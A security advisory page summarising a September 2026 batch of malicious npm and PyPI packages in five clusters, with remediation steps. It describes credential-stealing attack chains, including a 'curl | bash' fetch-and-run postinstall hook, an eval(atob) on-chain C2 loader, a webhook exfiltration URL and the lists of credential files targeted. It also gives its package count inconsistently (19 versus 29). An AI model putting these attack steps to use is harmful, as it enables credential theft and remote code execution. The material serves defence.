# GitHub Advisory malware sweep, 3 September 2026

> 19-package sweep: **Panther-tracked `frengki0707` "Frankly Malicious" actor resurfaces** with 10 apple-*/google-*/frank-* dep-confusion drops after ~4 months. PyPI `2026-09-telemetry-helper` campaign exfils env-vars to GitHub Gist via hardcoded PAT. `@stellarshift/*` (4 pkgs) targets Lark/Feishu+FortiClient endpoints; `tailwindcss-fluid-styles` uses CHAINDROP on-chain Ethereum C2.

- Published: 2026-09-03
- Last updated: 2026-09-04
- Severity: high
- Kind: Advisory sweep - A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
- Ecosystems: npm, PyPI
- Scope: 29 packages, 49 compromised versions
- Tags: dependency-confusion, credential-theft, infostealer, obfuscation, ci-cd-compromise, crypto-wallet-drain
- Threat actor: frank / frengki0707 (Indonesian, rotating accounts: raya4321, cketol, frengki4321)
- Also known as: 2026-09-03 GHSA sweep, Frankly Malicious (2026-09-03 wave), 2026-09-telemetry-helper, @stellarshift Lark/Feishu+FortiClient targeted supply chain, CHAINDROP tailwindcss-fluid-styles
- Detected by: GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, Panther Threat Research
- Incident ID: multi-2026-09-03-ghsa-malware-sweep

## Affected packages (29)

Only the exact versions listed were named by the source advisories. Other versions are not implicated.

| Package | Ecosystem | Compromised versions |
|---|---|---|
| [@quantixfinance/api](https://dependencywatch.io/package/npm/@quantixfinance/api) | npm | 1.0.0 |
| [@quantixfinance/common](https://dependencywatch.io/package/npm/@quantixfinance/common) | npm | 1.0.0 |
| [@quantixfinance/config](https://dependencywatch.io/package/npm/@quantixfinance/config) | npm | 1.0.0 |
| [@quantixfinance/contracts](https://dependencywatch.io/package/npm/@quantixfinance/contracts) | npm | 1.0.0 |
| [@quantixfinance/sdk](https://dependencywatch.io/package/npm/@quantixfinance/sdk) | npm | 1.0.0 |
| [@quantixfinance/supabase](https://dependencywatch.io/package/npm/@quantixfinance/supabase) | npm | 1.0.0 |
| [@quantixfinance/token](https://dependencywatch.io/package/npm/@quantixfinance/token) | npm | 1.0.0 |
| [@quantixfinance/tron](https://dependencywatch.io/package/npm/@quantixfinance/tron) | npm | 1.0.0 |
| [@quantixfinance/ui](https://dependencywatch.io/package/npm/@quantixfinance/ui) | npm | 1.0.0 |
| [@quantixfinance/wallet](https://dependencywatch.io/package/npm/@quantixfinance/wallet) | npm | 1.0.0 |
| [@stellarshift/abi-tools](https://dependencywatch.io/package/npm/@stellarshift/abi-tools) | npm | 1.0.1, 1.0.3 |
| [@stellarshift/chain-metadata](https://dependencywatch.io/package/npm/@stellarshift/chain-metadata) | npm | 1.0.1, 1.0.3 |
| [@stellarshift/evm-address-kit](https://dependencywatch.io/package/npm/@stellarshift/evm-address-kit) | npm | 1.0.1, 1.0.3 |
| [@stellarshift/token-units](https://dependencywatch.io/package/npm/@stellarshift/token-units) | npm | 1.0.1, 1.0.3 |
| [apple-cktool-internal-api-v9](https://dependencywatch.io/package/npm/apple-cktool-internal-api-v9) | npm | 0.0.0 |
| [apple-internal-test-utility](https://dependencywatch.io/package/npm/apple-internal-test-utility) | npm | 0.0.0 |
| [company-sdk](https://dependencywatch.io/package/pypi/company-sdk) | PyPI | 0.0.1 |
| [env-validator-tool](https://dependencywatch.io/package/pypi/env-validator-tool) | PyPI | 1.0.0, 1.0.1, 1.0.2 |
| [frank-apple-sync-service](https://dependencywatch.io/package/npm/frank-apple-sync-service) | npm | 0.0.0 |
| [frank-apple-utils](https://dependencywatch.io/package/npm/frank-apple-utils) | npm | 0.0.0 |
| [frank-bot-gogle-cloning](https://dependencywatch.io/package/npm/frank-bot-gogle-cloning) | npm | 0.0.0 |
| [frank-research-poc-apple](https://dependencywatch.io/package/npm/frank-research-poc-apple) | npm | 0.0.0 |
| [google-cloud-internal-build-helper](https://dependencywatch.io/package/npm/google-cloud-internal-build-helper) | npm | 0.0.0 |
| [google-cloud-internal-core-utils](https://dependencywatch.io/package/npm/google-cloud-internal-core-utils) | npm | 0.0.0 |
| [google-cloud-mono-repo-helper](https://dependencywatch.io/package/npm/google-cloud-mono-repo-helper) | npm | 0.0.0 |
| [google-internal-cloud-audit-security-check](https://dependencywatch.io/package/npm/google-internal-cloud-audit-security-check) | npm | 0.0.0 |
| [real-router-utils](https://dependencywatch.io/package/npm/real-router-utils) | npm | 0.0.0 |
| [tailwindcss-fluid-styles](https://dependencywatch.io/package/npm/tailwindcss-fluid-styles) | npm | 1.0.0, 1.0.1, 1.0.2, 2.0.0, 2.0.1, 2.0.5, 2.0.6, 2.0.7 |
| [telemetry-helper](https://dependencywatch.io/package/pypi/telemetry-helper) | PyPI | 1.0.0, 1.0.1, 1.0.2, 1.1.0, 1.2.0, 1.3.0, 2.0.0, 2.0.1 |

## What happened

The 24 hours ending 2026-09-03 published 19 new npm+PyPI malware advisories across 5 distinct clusters, with two headline stories:

1. **The "Frankly Malicious" Indonesian dep-confusion actor tracked as `frank` / npm handle `frengki0707` returns after ~4 months** with a fresh 10-package drop targeting Apple + Google/GCP internal-tooling namespaces. Panther Threat Research first documented this actor in the [April 2026 38-package wave](https://panther.com/blog/frankly-malicious-inside-a-38-package-npm-supply-chain-campaign-targeting-tech-giants) attributed to primary account `frengki0707` and rotating accounts `raya4321`, `cketol`, `frengki4321`.
2. **A brand-new PyPI campaign tagged `2026-09-telemetry-helper` exfiltrates env-vars and SSH keys to GitHub Gist via a hardcoded attacker Personal Access Token** with SSL verification disabled - a defender-blind exfil channel that walks straight past standard corporate egress filters and DLP rules.

## Cluster A - "Frankly Malicious" `frank`/`frengki0707` dep-confusion campaign resurgence (10 packages)

| Package | Versions | GHSA | Cluster |
|---|---|---|---|
| `apple-cktool-internal-api-v9` | `>=0` | GHSA-5cfx-4hvj-jxm8 | Apple |
| `apple-internal-test-utility` | `>=0` | GHSA-54h3-c256-wpw8 | Apple |
| `google-cloud-mono-repo-helper` | `>=0` | GHSA-8rcc-3mvv-4c2x | Google/GCP |
| `google-internal-cloud-audit-security-check` | `>=0` | GHSA-cw6m-gmx9-x556 | Google/GCP |
| `google-cloud-internal-core-utils` | `>=0` | GHSA-4vvq-8686-f44c | Google/GCP |
| `google-cloud-internal-build-helper` | `>=0` | GHSA-3qp7-c8c6-w6vj | Google/GCP |
| `frank-bot-gogle-cloning` | `>=0` | GHSA-52j3-fx2q-cqm9 | frank-* exfil |
| `frank-apple-sync-service` | `>=0` | GHSA-463x-3972-8874 | frank-* exfil |
| `frank-research-poc-apple` | `>=0` | GHSA-78hq-gp8w-grwp | frank-* exfil |
| `frank-apple-utils` | `>=0` | GHSA-xg8f-3qvf-9cfp | frank-* exfil |

The individual Sept 3 GHSA advisories carry only the standard CWE-506 boilerplate ("Any computer that has this package installed or running should be considered fully compromised"). The attribution comes from the **package-name topology**: the Sept 3 drops match the exact naming templates fingerprinted by Panther in the April 2026 wave - Apple internal-tooling names (`apple-cktool-*`, `apple-*-internal-*`, `apple-internal-*`), Google/GCP internal-tooling names (`google-cloud-internal-*`, `google-internal-*`), and the actor's self-branded `frank-*` exfil toolkit prefix. Same operator or a direct copycat; either way the defensive playbook is the same.

**Historical payload capabilities documented by Panther in April 2026** (which the boilerplate CWE-506 advisories do not enumerate):

- SSH private keys from `~/.ssh/` (id_rsa, id_ed25519, config)
- `.git-credentials`, `.npmrc` publish tokens, `.env` files anywhere under the home directory
- Shell history from `~/.bash_history`, `~/.zsh_history`
- AWS credentials (`~/.aws/credentials`, `~/.aws/config`)
- GCP credentials (`~/.config/gcloud/`, `application_default_credentials.json`)
- Azure credentials (`~/.azure/`)
- GitHub CLI tokens (`~/.config/gh/hosts.yml`)
- **AI-coding-assistant configuration files including `~/.claude.json`** - a novel exfil target that Panther called out specifically for the April wave

**Why dep-confusion works here**: an Apple / Google engineer running `npm install` against a shared internal registry mirror that falls back to public npm on cache-miss will pull the malicious public `apple-cktool-internal-api-v9@X.Y.Z` if `X.Y.Z` exceeds the internal package version. `.npmrc` scope pinning to the private registry is the durable mitigation.

## Cluster B - PyPI `2026-09-telemetry-helper` campaign (3 packages, 12 versions)

| Package | Versions | GHSA | Role |
|---|---|---|---|
| `company-sdk` | `0.0.1` | GHSA-xwp3-c9rw-wggc | Home-directory credential harvester |
| `telemetry-helper` | `1.0.0`, `1.0.1`, `1.0.2`, `1.1.0`, `1.2.0`, `1.3.0`, `2.0.0`, `2.0.1` | GHSA-r35m-jqvr-hwxp | Env-var exfil (30s delay) |
| `env-validator-tool` | `1.0.0`, `1.0.1`, `1.0.2` | GHSA-49jc-fj5g-832c | Depends on `telemetry-helper` |

**Attack chain**:

1. `pip install env-validator-tool` → automatically pulls `telemetry-helper` as a transitive dependency
2. On first `import`, both packages fire immediately (`telemetry-helper` uses a 30-second background-thread delay to defeat short-lived sandbox scanners)
3. `company-sdk` (installed separately) sweeps the installer's home directory for SSH keys, cloud provider credentials (AWS, Azure, GCP), package manager auth tokens, Docker/Kubernetes configs, `.env` files, shell history
4. Scans process env-vars for keys containing TOKEN, SECRET, KEY, PASSWORD substrings
5. Gathered data → gzip compression → XOR encryption with PBKDF2-HMAC-SHA256 derivation → HMAC authentication → base64 encoding
6. Encrypted payload POSTs to **GitHub Gist** using a hardcoded attacker GitHub Personal Access Token, with SSL verification disabled
7. Silent exception handling ensures upload failures remain invisible

**Why GitHub Gist is the exfil channel of choice**: `gist.githubusercontent.com` and `api.github.com` are on virtually every corporate DLP allowlist because legitimate development tooling calls them constantly. A rule change to detect Gist uploads from non-developer processes is the durable defense but breaks nothing legitimate in a typical corporate policy.

## Cluster C - npm `@stellarshift/*` Lark/Feishu + FortiClient targeted enterprise supply chain (4 packages, 8 versions)

| Package | Versions | GHSA |
|---|---|---|
| `@stellarshift/token-units` | `1.0.1`, `1.0.3` | GHSA-f7jv-2wj8-grw7 |
| `@stellarshift/chain-metadata` | `1.0.1`, `1.0.3` | GHSA-3qrc-cxw6-3956 |
| `@stellarshift/abi-tools` | `1.0.1`, `1.0.3` | GHSA-75j4-5w9p-f97f |
| `@stellarshift/evm-address-kit` | `1.0.1`, `1.0.3` | GHSA-9wh4-p3rc-w4r3 |

All four packages present as EVM / blockchain utility helpers (BigInt token-unit conversion, chain metadata registry, ABI utilities, EVM address checksumming) but conceal an identical targeted-attack payload.

**Attack chain**:

1. `npm install @stellarshift/<any>` → postinstall hook runs
2. Hook decodes the URL from an XOR-encoded integer array in `endpoint-registry.json`, reconstructing an HTTPS URL to a Tencent Cloud COS bucket (`mexc-12584333570.cos.ap-beijing.myqcloud.com`)
3. **Environment fingerprinting**: skips execution if any CI env var is present (GITHUB_ACTIONS, GITLAB_CI, JENKINS, CIRCLECI, TRAVIS)
4. **Host fingerprinting**: only proceeds if the host has BOTH Lark/Feishu client AND FortiClient VPN installed simultaneously
5. On matched hosts (Unix): pipes `curl -fsSL <url>` directly to `bash`; on Windows: PowerShell equivalent with hidden windows, detached, suppressed output
6. Postinstall exits code 0 with swallowed errors regardless of outcome, concealing execution

**Why the specific targeting matters**: Lark/Feishu is ByteDance's enterprise-collaboration suite, dominant among Chinese-tenant orgs and their international subsidiaries. FortiClient VPN is common in enterprise-managed workstation fleets. The intersection selects for a very specific target profile - managed corporate workstations in Chinese-tenant organisations. The advisories characterise this as "a targeted supply-chain attack against managed enterprise endpoints", noting there is "no legitimate need to fetch and execute a hidden remote shell payload" for an ABI utility. Packages falsely advertise "No network calls - safe for CI and air-gapped builds" and "Zero runtime dependencies".

## Cluster D - npm `tailwindcss-fluid-styles` CHAINDROP-family Ethereum-RPC on-chain C2 loader (1 package, 8 versions)

| Package | Versions | GHSA | Wallet |
|---|---|---|---|
| `tailwindcss-fluid-styles` | `<=2.0.7` | GHSA-qmfx-363x-c6gj | `0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a` |

**Attack chain (matches the CHAINDROP / EtherHiding pattern class)**:

1. On `require()`, `index.js` runs `eval(atob(...))` at top level to decode a malicious loader
2. Loader queries a public Ethereum RPC endpoint for outbound transactions from `0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a`
3. Reads two IPv4 addresses from transaction calldata (primary + secondary C2 hosts)
4. Fetches XOR-encrypted payloads from `/0x/cls` and `/0x/ls` paths on those hosts
5. `eval()`s the first payload; spawns `node -e <second_payload>` with `{detached:true, stdio:"ignore", windowsHide:true}` + `.unref()` for a persistent hidden background process
6. **Self-erases**: modifies its own source code on disk to remove the malicious loader, leaving apparently-legitimate Tailwind CSS plugin code behind

**Family context**: this is the third distinct package family in ~4 weeks using the on-chain dead-drop C2 technique class:

- [`keyv` / `cacheable` Shai-Hulud worm (2026-08-04, CHAINDROP)](https://dependencywatch.io/incident/npm-2026-08-04-shai-hulud-keyv-cacheable) - smart contract at `0xE1f2395ee43e45A1556EC6438a88c31B83493103` served C2 domains
- [`iconova-react` + `postcss-initial-provider` (2026-08-10)](https://dependencywatch.io/incident/npm-2026-08-10-ghsa-malware-sweep) - Ethereum RPC dead-drop, IPv4 extraction, encrypted payload fetch
- `tailwindcss-fluid-styles` (this file, 2026-09-03) - same TTP class with self-erasing loader

**Why static IOC lists don't work**: no C2 domain or IP is embedded in the package. The operator rotates C2 infrastructure by publishing a new Ethereum transaction from the attacker wallet. Blocklists built off traditional IOCs miss the stage-2 hosts on subsequent installs.

## Cluster E - npm `real-router-utils` preinstall webhook.site fingerprint (1 package, all versions)

| Package | Versions | GHSA | Fingerprint destination |
|---|---|---|---|
| `real-router-utils` | `<=1.0.0` | GHSA-fw7f-xj7r-p9v6 | `webhook.site/e32d3b8a-a5df-40cc-ae60-7a8343b581e4` |

Preinstall harvests OS hostname, username, cwd and POSTs to an anonymous webhook.site tenant. Classic dep-confusion scout - low-yield reconnaissance to build a target list before weaponised follow-up drops.

## Also seen in this window, not catalogued separately

**Sept 2 npm `bellatrix-*` cluster (9 packages)** - part of the tea.xyz Indonesian token-farming autopublisher wave already characterised at length in [npm-2026-07-25-ghsa-tea-xyz-backfill](https://dependencywatch.io/incident/npm-2026-07-25-ghsa-tea-xyz-backfill). Package names: `bellatrix-panspermia-websockets-gulp`, `bellatrix-oberon-prettier-alphard`, `bellatrix-mira-europa-commitlint`, `bellatrix-paleoecology-gammarayburst-orbit`, `bellatrix-proteomics-meissa-redis`, `bellatrix-prompts-webpack-paleobotany`, `bellatrix-process-buffer-sequelize`, `bellatrix-quantum-inquirer-child-process`, `bellatrix-quantum-computing-non-blocking-package`. Advisories confirm these are `autopublish` scripts that strip `"private"` flags, bump version numbers, and regenerate randomised Indonesian-themed derivatives to farm tea.xyz protocol dependency-count rewards. **Defensive value is zero** - nobody legitimately depends on these keyword-mash names, and the exfil-free spam-farming payload does not compromise the installer. Recorded here for cross-reference; not added to the `packages{}` map.

## Registry state

All 19 packages listed above were flagged as malware on their respective registries on 2026-09-03. `company-sdk`, `telemetry-helper`, and `env-validator-tool` have been yanked from PyPI; the 15 npm packages have been added to the npm quarantine list. Private mirrors (Verdaccio, Artifactory, Nexus) that cached tarballs before the takedown will keep serving the malicious versions.

## Discovery credits

`GitHub Advisory Database`, `OpenSSF malicious-packages`, `OpenSSF Package Analysis`, `Amazon Inspector`. Cluster A attribution credited to Panther Threat Research from the April 2026 `frank`/`frengki0707` documentation.

## Impact

- **Cluster A - "Frankly Malicious" `frank`/`frengki0707` dep-confusion campaign resurgence (2026-09-03, 10 packages, all versions)**: Panther Threat Research first documented this Indonesian actor (primary npm identity `frengki0707`, rotating accounts `raya4321`, `cketol`, `frengki4321`) in a 38-package April 2026 wave targeting Apple / Google-GCP / Alibaba-Aliyun internal-tooling dep-confusion. **Sept 3 marks the first fresh wave in ~4 months** - 10 new drops carrying only CWE-506 boilerplate on the GHSA advisory pages but named to slot straight into Apple + Google CI/CD lookup paths: **Apple cluster** (`apple-cktool-internal-api-v9` GHSA-5cfx-4hvj-jxm8, `apple-internal-test-utility` GHSA-54h3-c256-wpw8), **Google/GCP cluster** (`google-cloud-mono-repo-helper` GHSA-8rcc-3mvv-4c2x, `google-internal-cloud-audit-security-check` GHSA-cw6m-gmx9-x556, `google-cloud-internal-core-utils` GHSA-4vvq-8686-f44c, `google-cloud-internal-build-helper` GHSA-3qp7-c8c6-w6vj), **`frank-*` exfil/tooling cluster** (`frank-bot-gogle-cloning` GHSA-52j3-fx2q-cqm9, `frank-apple-sync-service` GHSA-463x-3972-8874, `frank-research-poc-apple` GHSA-78hq-gp8w-grwp, `frank-apple-utils` GHSA-xg8f-3qvf-9cfp). Historical payload per Panther: aggressive collection of SSH keys, `.git-credentials`, `.npmrc`, `.env`, shell history, AWS/GCP/Azure credentials, GitHub CLI tokens, and AI-coding-assistant configs (including `~/.claude.json`). **Any Apple, Google, or GCP-adjacent CI/CD pipeline that resolves against public npm before checking a private mirror is a target** - dep-confusion succeeds when the public malicious version-numbers exceed the internal package version
- **Cluster B - PyPI `2026-09-telemetry-helper` GitHub-Gist cred-exfil campaign (2026-09-03, 3 packages, 12 versions)**: `company-sdk@0.0.1` (GHSA-xwp3-c9rw-wggc), `telemetry-helper@1.0.0-2.0.1` across 8 versions (GHSA-r35m-jqvr-hwxp), `env-validator-tool@1.0.0-1.0.2` (GHSA-49jc-fj5g-832c - explicitly names `2026-09-telemetry-helper` campaign and installs the malicious `telemetry-helper` as a transitive dependency). **Fires on import**, not install. `company-sdk` sweeps installer home directory for SSH keys, cloud creds (AWS/Azure/GCP), package-manager auth tokens, Docker/Kubernetes configs, `.env` files, shell history + scrapes process env-vars for TOKEN/SECRET/KEY/PASSWORD substrings; gzip-compresses, XOR-encrypts with PBKDF2-HMAC-SHA256, HMAC-authenticates, base64-encodes, then POSTs the blob to **GitHub Gist using a hardcoded GitHub Personal Access Token** with SSL verification disabled. `telemetry-helper` uses a 30-second background-thread delay before exfil to defeat short-lived sandboxes and sends hostname/username/cwd + full environ. **GitHub Gist is a defender-blind exfil channel** - most egress-filter and DLP rules whitelist `gist.githubusercontent.com` and `api.github.com`
- **Cluster C - npm `@stellarshift/*` Lark/Feishu + FortiClient targeted enterprise supply chain (2026-09-03, 4 packages, 8 versions)**: `@stellarshift/token-units@1.0.1`+`1.0.3` (GHSA-f7jv-2wj8-grw7), `@stellarshift/chain-metadata@1.0.1`+`1.0.3` (GHSA-3qrc-cxw6-3956), `@stellarshift/abi-tools@1.0.1`+`1.0.3` (GHSA-75j4-5w9p-f97f), `@stellarshift/evm-address-kit@1.0.1`+`1.0.3` (GHSA-9wh4-p3rc-w4r3). All 4 packages **fingerprint the installer host and ONLY execute if BOTH Lark/Feishu (Chinese enterprise collaboration client) AND FortiClient VPN are simultaneously present** - a signature of a targeted attack against managed enterprise workstations in Chinese-tenant orgs. Postinstall XOR-decodes an integer array in `endpoint-registry.json`, reconstructs an HTTPS URL to a **Tencent Cloud COS bucket (`mexc-12584333570.cos.ap-beijing.myqcloud.com`)**, and executes `curl -fsSL <url> | bash` (Unix) or PowerShell equivalent (Windows) with hidden windows, detached, suppressed output, and swallowed errors (postinstall exits 0 to conceal). CI evasion: refuses to run when GitHub Actions / GitLab CI / Jenkins env vars are present. Packages falsely advertise "No network calls - safe for CI and air-gapped builds" and "Zero runtime dependencies". Any workstation running Lark/Feishu + FortiClient that ran `npm install` against any of these four packages must be treated as fully compromised at the OS level
- **Cluster D - npm `tailwindcss-fluid-styles` CHAINDROP-family Ethereum-RPC on-chain C2 loader (2026-09-03, 1 package, 8 versions)**: `tailwindcss-fluid-styles@<=2.0.7` (GHSA-qmfx-363x-c6gj). **Same on-chain dead-drop C2 pattern as [iconova-react + postcss-initial-provider (2026-08-10)](https://dependencywatch.io/incident/npm-2026-08-10-ghsa-malware-sweep) and the [CHAINDROP keyv/cacheable Shai-Hulud worm (2026-08-04)](https://dependencywatch.io/incident/npm-2026-08-04-shai-hulud-keyv-cacheable)**. On `require()`, the package runs `eval(atob(...))` at top level to decode a malicious loader; the loader queries an Ethereum RPC endpoint for outbound transactions from a hardcoded attacker wallet (`0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a`), reads two IPv4 addresses from transaction calldata, fetches XOR-encrypted payloads from `/0x/cls` and `/0x/ls` paths on those hosts, `eval()`s the first, and spawns `node -e <payload>` with `{detached:true, stdio:"ignore", windowsHide:true}` + `.unref()` to run the second as a persistent hidden background process. After execution, the malware **modifies its own source code on disk to remove the malicious loader** - leaving what appears to be a benign Tailwind CSS styling plugin for post-hoc forensic inspection. Static IOC lists are worthless because the operator rotates C2 hosts by publishing new transactions from the same wallet
- **Cluster E - npm `real-router-utils` preinstall webhook.site fingerprint (2026-09-03, 1 package, all versions)**: `real-router-utils@<=1.0.0` (GHSA-fw7f-xj7r-p9v6). Preinstall script harvests OS hostname, username, and cwd and POSTs to `webhook.site/e32d3b8a-a5df-40cc-ae60-7a8343b581e4` - the classic "anonymous throwaway webhook to fingerprint dev environments" preinstall pattern seen in dozens of dep-confusion scouts. Low-yield reconnaissance but signals the operator is enumerating a target list; the follow-up drop (weaponised implant) typically arrives within 2-14 days

## What to do

1. Grep every lockfile (`package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`, `requirements.txt`, `Pipfile.lock`, `poetry.lock`, `uv.lock`) for the 19 package names below. Uninstall on any hit and rebuild the lockfile against a clean cache
2. **For Cluster A ("Frankly Malicious" `frank`/`frengki0707` resurgence)**: any org that maintains internal npm packages under `@apple/*`, `@google-cloud/*`, `google-*`, `apple-*`, or similar internal-tooling namespaces MUST audit their private-registry precedence rules NOW - dep-confusion succeeds when the public malicious version-number outranks the internal version. Add explicit `.npmrc` `@apple:registry=` and `@google-cloud:registry=` pinning to your private mirror. Any CI/CD pipeline that resolves against public npm before checking a private mirror is exposed. Rotate every SSH key, cloud CLI credential (AWS `~/.aws/credentials`, GCP `~/.config/gcloud/`, Azure `~/.azure/`), `.git-credentials`, `.npmrc` token, GitHub CLI (`~/.config/gh/hosts.yml`), and AI-coding-assistant configuration (`~/.claude.json` in particular) on any host that resolved any of the 10 apple-*/google-*/frank-* packages. Push the operator handles (`frengki0707`, `raya4321`, `cketol`, `frengki4321`) into npm publisher deny lists and monitor for new publications under related handles - Panther fingerprinted the actor as rotating accounts
3. **For Cluster B (PyPI `2026-09-telemetry-helper` campaign)**: any Python environment that ran `pip install company-sdk` or `pip install telemetry-helper` or `pip install env-validator-tool` since 2026-09-03 must treat the host as fully compromised. **Rotate every credential in the process environment during the exposure window** - especially AWS keys, GitHub tokens, and any TOKEN/SECRET/KEY/PASSWORD env vars. Search corporate egress logs for `gist.githubusercontent.com` and `api.github.com` POSTs from Python hosts during the exposure window - Gist uploads via a hardcoded attacker PAT are the exfil channel. If your DLP whitelists GitHub, add a rule to flag Gist uploads from non-developer hosts. `env-validator-tool` pulls in `telemetry-helper` transitively, so `pip freeze | grep -E "^telemetry-helper|^company-sdk|^env-validator-tool"` on every Python host is the audit query
4. **For Cluster C (`@stellarshift/*` Lark/Feishu+FortiClient targeted)**: any managed corporate workstation running BOTH Lark/Feishu AND FortiClient VPN that resolved any of the four `@stellarshift/*` packages needs to be **re-imaged**. The targeting is precise: the payload only fires if both apps are detected on the host. If your org uses Lark/Feishu for internal communication and FortiClient for VPN, treat this cluster as targeted at your fleet. Block outbound to Tencent Cloud COS (`*.cos.ap-beijing.myqcloud.com`, `*.cos.ap-*.myqcloud.com`) from dev/build hosts that have no legitimate need. Correlate npm postinstall runs during the exposure window with outbound HTTPS to Tencent Cloud
5. **For Cluster D (`tailwindcss-fluid-styles` on-chain C2)**: same remediation as the [iconova-react / postcss-initial-provider CHAINDROP family](https://dependencywatch.io/incident/npm-2026-08-10-ghsa-malware-sweep). Block outbound to public Ethereum RPCs (`*.rpc.io`, `mainnet.infura.io`, `*.nodereal.io`, `*.getblock.io`, `*.llamarpc.com`, `*.publicnode.com`) from build/dev hosts. Correlate any outbound HTTP GET during npm-install with an immediately-preceding Ethereum RPC call in the same process tree (`getTransaction` / `eth_getTransactionByHash` against a random-looking wallet followed by a plain HTTPS GET to an IPv4). Rebuild the affected host from bare metal - the loader self-erases from disk so file-based scan is negative even on a compromised host. Rotate every credential accessible to the host, including npm publish tokens, since the persistent detached node process retains long-term shell access
6. **For Cluster E (`real-router-utils`)**: uninstall from lockfile. If webhook.site telemetry was successful, the operator has your hostname + username + cwd and will use it to correlate against later drops. No further host cleanup required for this specific package
7. For all `npm install` runs in CI, prefer `--ignore-scripts` (blocks Clusters A/C/E preinstall+postinstall vectors) - Cluster D still triggers on `require()`, not install-time
8. For all `pip install` runs in CI, `--only-binary` does not stop Cluster B because the payload fires on import - add `company-sdk`, `telemetry-helper`, `env-validator-tool` and any `2026-09-telemetry-helper` family variants to your registry-mirror deny list
9. Verify none of the enumerated packages still resolves via your private mirror - internal caches (Nexus / Artifactory / Verdaccio / Sonatype / devpi) routinely keep serving yanked tarballs after the public takedown

## Check your own dependencies

- Check a package-lock.json against this incident: https://dependencywatch.io/check/package-lock-json
- Check a requirements.txt against this incident: https://dependencywatch.io/check/requirements-txt

The scan runs entirely in the browser; lockfile contents are never uploaded.

## References

- [GitHub Advisory Database - recent npm malware advisories](https://github.com/advisories?query=type%3Amalware+ecosystem%3Anpm&sort=published-desc) - GitHub
- [GitHub Advisory Database - recent PyPI malware advisories](https://github.com/advisories?query=type%3Amalware+ecosystem%3Apip&sort=published-desc) - GitHub
- [GHSA-5cfx-4hvj-jxm8 - apple-cktool-internal-api-v9 (Frankly Malicious frank/frengki0707 Apple cluster)](https://github.com/advisories/GHSA-5cfx-4hvj-jxm8) - GitHub
- [GHSA-54h3-c256-wpw8 - apple-internal-test-utility (Frankly Malicious Apple cluster)](https://github.com/advisories/GHSA-54h3-c256-wpw8) - GitHub
- [GHSA-8rcc-3mvv-4c2x - google-cloud-mono-repo-helper (Frankly Malicious Google/GCP cluster)](https://github.com/advisories/GHSA-8rcc-3mvv-4c2x) - GitHub
- [GHSA-cw6m-gmx9-x556 - google-internal-cloud-audit-security-check (Frankly Malicious Google/GCP cluster)](https://github.com/advisories/GHSA-cw6m-gmx9-x556) - GitHub
- [GHSA-4vvq-8686-f44c - google-cloud-internal-core-utils (Frankly Malicious Google/GCP cluster)](https://github.com/advisories/GHSA-4vvq-8686-f44c) - GitHub
- [GHSA-3qp7-c8c6-w6vj - google-cloud-internal-build-helper (Frankly Malicious Google/GCP cluster)](https://github.com/advisories/GHSA-3qp7-c8c6-w6vj) - GitHub
- [GHSA-52j3-fx2q-cqm9 - frank-bot-gogle-cloning (Frankly Malicious frank-* exfil cluster)](https://github.com/advisories/GHSA-52j3-fx2q-cqm9) - GitHub
- [GHSA-463x-3972-8874 - frank-apple-sync-service (Frankly Malicious frank-* exfil cluster)](https://github.com/advisories/GHSA-463x-3972-8874) - GitHub
- [GHSA-78hq-gp8w-grwp - frank-research-poc-apple (Frankly Malicious frank-* exfil cluster)](https://github.com/advisories/GHSA-78hq-gp8w-grwp) - GitHub
- [GHSA-xg8f-3qvf-9cfp - frank-apple-utils (Frankly Malicious frank-* exfil cluster)](https://github.com/advisories/GHSA-xg8f-3qvf-9cfp) - GitHub
- [GHSA-xwp3-c9rw-wggc - company-sdk (PyPI 2026-09-telemetry-helper GitHub-Gist cred exfil)](https://github.com/advisories/GHSA-xwp3-c9rw-wggc) - GitHub
- [GHSA-r35m-jqvr-hwxp - telemetry-helper (PyPI 2026-09-telemetry-helper campaign)](https://github.com/advisories/GHSA-r35m-jqvr-hwxp) - GitHub
- [GHSA-49jc-fj5g-832c - env-validator-tool (PyPI 2026-09-telemetry-helper campaign)](https://github.com/advisories/GHSA-49jc-fj5g-832c) - GitHub
- [GHSA-f7jv-2wj8-grw7 - @stellarshift/token-units (Lark/Feishu+FortiClient targeted attack)](https://github.com/advisories/GHSA-f7jv-2wj8-grw7) - GitHub
- [GHSA-3qrc-cxw6-3956 - @stellarshift/chain-metadata (Lark/Feishu+FortiClient targeted attack)](https://github.com/advisories/GHSA-3qrc-cxw6-3956) - GitHub
- [GHSA-75j4-5w9p-f97f - @stellarshift/abi-tools (Lark/Feishu+FortiClient targeted attack)](https://github.com/advisories/GHSA-75j4-5w9p-f97f) - GitHub
- [GHSA-9wh4-p3rc-w4r3 - @stellarshift/evm-address-kit (Lark/Feishu+FortiClient targeted attack)](https://github.com/advisories/GHSA-9wh4-p3rc-w4r3) - GitHub
- [GHSA-qmfx-363x-c6gj - tailwindcss-fluid-styles (CHAINDROP-family Ethereum-RPC on-chain C2)](https://github.com/advisories/GHSA-qmfx-363x-c6gj) - GitHub
- [GHSA-fw7f-xj7r-p9v6 - real-router-utils (preinstall webhook.site fingerprint)](https://github.com/advisories/GHSA-fw7f-xj7r-p9v6) - GitHub
- [Frankly Malicious: Inside a 38-Package npm Supply Chain Campaign Targeting Tech Giants (Panther Threat Research, April 2026 primary documentation)](https://panther.com/blog/frankly-malicious-inside-a-38-package-npm-supply-chain-campaign-targeting-tech-giants) - Panther
- [OpenSSF malicious-packages repository](https://github.com/ossf/malicious-packages) - OpenSSF

---

Canonical page: https://dependencywatch.io/incident/multi-2026-09-03-ghsa-malware-sweep
Markdown version: https://dependencywatch.io/incident/multi-2026-09-03-ghsa-malware-sweep.md
Site index for agents: https://dependencywatch.io/llms.txt
DependencyWatch.io is operated by Precursor Security (https://precursorsecurity.com).